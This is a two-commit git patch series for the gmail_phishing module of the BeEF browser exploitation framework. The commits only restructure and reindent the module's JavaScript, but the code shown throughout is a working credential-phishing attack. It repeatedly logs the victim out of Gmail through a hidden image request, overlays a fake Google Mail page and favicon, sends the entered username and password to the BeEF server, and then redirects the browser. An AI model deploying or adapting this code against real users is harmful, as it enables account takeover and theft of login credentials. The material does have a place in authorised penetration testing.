From 15d2acf52a77d953bd02c13e35e0194e2ea918ad Mon Sep 17 00:00:00 2001 From: kaitoozawa Date: Wed, 24 Dec 2025 13:28:03 +1000 Subject: [PATCH 1/2] move functions inside beef.execute --- .../gmail_phishing/command.js | 52 ++++++++++--------- 1 file changed, 27 insertions(+), 25 deletions(-) diff --git a/modules/social_engineering/gmail_phishing/command.js b/modules/social_engineering/gmail_phishing/command.js index 7c2038c2ac..18466e933c 100644 --- a/modules/social_engineering/gmail_phishing/command.js +++ b/modules/social_engineering/gmail_phishing/command.js @@ -4,41 +4,43 @@ // See the file 'doc/COPYING' for copying permission // -function logoutGoogle() { - var img = document.createElement("IMG"); - img.src = "https://mail.google.com/mail/?logout"; - img.height = "1px"; - img.width = "1px"; - img.style.visibility = "hidden"; - document.body.appendChild(img); - //set a new setTimeout to redo the logout - setTimeout('logoutGoogle()', <%= @logout_gmail_interval %>); -} - beef.execute(function() { - document.title = "Google Mail: Email from Google"; - beef.browser.changeFavicon("https://www.google.com/mail/help/images/favicon.ico"); - logoutGoogle(); - displayPhishingSite(); -}); -function clickedSubmitButton(){ + window.clickedSubmitButton = function () { var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); //Timeout needed because otherwise the beef panel doesn't get the credentials in time - setTimeout("redirect()", <%= @wait_seconds_before_redirect %>); -} -function redirect(){ + setTimeout(window.redirect, <%= @wait_seconds_before_redirect %>); + }; + + window.redirect = function () { var theXssUrl = "<%== @xss_hook_url %>"; if(theXssUrl){ - window.open(theXssUrl); - window.focus(); + window.open(theXssUrl); + window.focus(); } window.location = "https://accounts.google.com/"; -} + }; -function displayPhishingSite(){ + function logoutGoogle() { + var img = document.createElement("IMG"); + img.src = "https://mail.google.com/mail/?logout"; + img.height = "1px"; + img.width = "1px"; + img.style.visibility = "hidden"; + document.body.appendChild(img); + //set a new setTimeout to redo the logout + setTimeout(logoutGoogle, <%= @logout_gmail_interval %>); + } + + function displayPhishingSite(){ var zztop = beef.dom.getHighestZindex()+1; beef.dom.removeStylesheets(); document.body.innerHTML = " Google Mail: Email from Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:

  • Lots of space

    Over 2757.272164 megabytes (and counting) of free storage.

  • Less spam

    Keep unwanted messages out of your inbox.

  • Mobile access

    Get Google Mail on your mobile phone. Learn more

Take Google Mail to work with Google Apps for Business

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

"; -} + } + + document.title = "Google Mail: Email from Google"; + beef.browser.changeFavicon("https://www.google.com/mail/help/images/favicon.ico"); + logoutGoogle(); + displayPhishingSite(); +}); From 9eca1440926b18e0cc7191ea1f4a030b203ebe6a Mon Sep 17 00:00:00 2001 From: kaitoozawa Date: Thu, 8 Jan 2026 10:25:12 +1000 Subject: [PATCH 2/2] change indentation from space2 to tab/space4 --- .../gmail_phishing/command.js | 60 +++++++++---------- 1 file changed, 30 insertions(+), 30 deletions(-) diff --git a/modules/social_engineering/gmail_phishing/command.js b/modules/social_engineering/gmail_phishing/command.js index 18466e933c..fcc9e496a3 100644 --- a/modules/social_engineering/gmail_phishing/command.js +++ b/modules/social_engineering/gmail_phishing/command.js @@ -6,41 +6,41 @@ beef.execute(function() { - window.clickedSubmitButton = function () { - var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); - //Timeout needed because otherwise the beef panel doesn't get the credentials in time - setTimeout(window.redirect, <%= @wait_seconds_before_redirect %>); - }; + window.clickedSubmitButton = function () { + var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); + //Timeout needed because otherwise the beef panel doesn't get the credentials in time + setTimeout(window.redirect, <%= @wait_seconds_before_redirect %>); + }; - window.redirect = function () { - var theXssUrl = "<%== @xss_hook_url %>"; - if(theXssUrl){ - window.open(theXssUrl); - window.focus(); - } - window.location = "https://accounts.google.com/"; - }; + window.redirect = function () { + var theXssUrl = "<%== @xss_hook_url %>"; + if(theXssUrl){ + window.open(theXssUrl); + window.focus(); + } + window.location = "https://accounts.google.com/"; + }; - function logoutGoogle() { - var img = document.createElement("IMG"); - img.src = "https://mail.google.com/mail/?logout"; - img.height = "1px"; - img.width = "1px"; - img.style.visibility = "hidden"; - document.body.appendChild(img); - //set a new setTimeout to redo the logout - setTimeout(logoutGoogle, <%= @logout_gmail_interval %>); - } + function logoutGoogle() { + var img = document.createElement("IMG"); + img.src = "https://mail.google.com/mail/?logout"; + img.height = "1px"; + img.width = "1px"; + img.style.visibility = "hidden"; + document.body.appendChild(img); + //set a new setTimeout to redo the logout + setTimeout(logoutGoogle, <%= @logout_gmail_interval %>); + } - function displayPhishingSite(){ - var zztop = beef.dom.getHighestZindex()+1; - beef.dom.removeStylesheets(); - document.body.innerHTML = " Google Mail: Email from Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:

  • Lots of space

    Over 2757.272164 megabytes (and counting) of free storage.

  • Less spam

    Keep unwanted messages out of your inbox.

  • Mobile access

    Get Google Mail on your mobile phone. Learn more

Take Google Mail to work with Google Apps for Business

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

"; - } + function displayPhishingSite(){ + var zztop = beef.dom.getHighestZindex()+1; + beef.dom.removeStylesheets(); + document.body.innerHTML = " Google Mail: Email from Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:

  • Lots of space

    Over 2757.272164 megabytes (and counting) of free storage.

  • Less spam

    Keep unwanted messages out of your inbox.

  • Mobile access

    Get Google Mail on your mobile phone. Learn more

Take Google Mail to work with Google Apps for Business

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

"; + } document.title = "Google Mail: Email from Google"; beef.browser.changeFavicon("https://www.google.com/mail/help/images/favicon.ico"); logoutGoogle(); - displayPhishingSite(); + displayPhishingSite(); });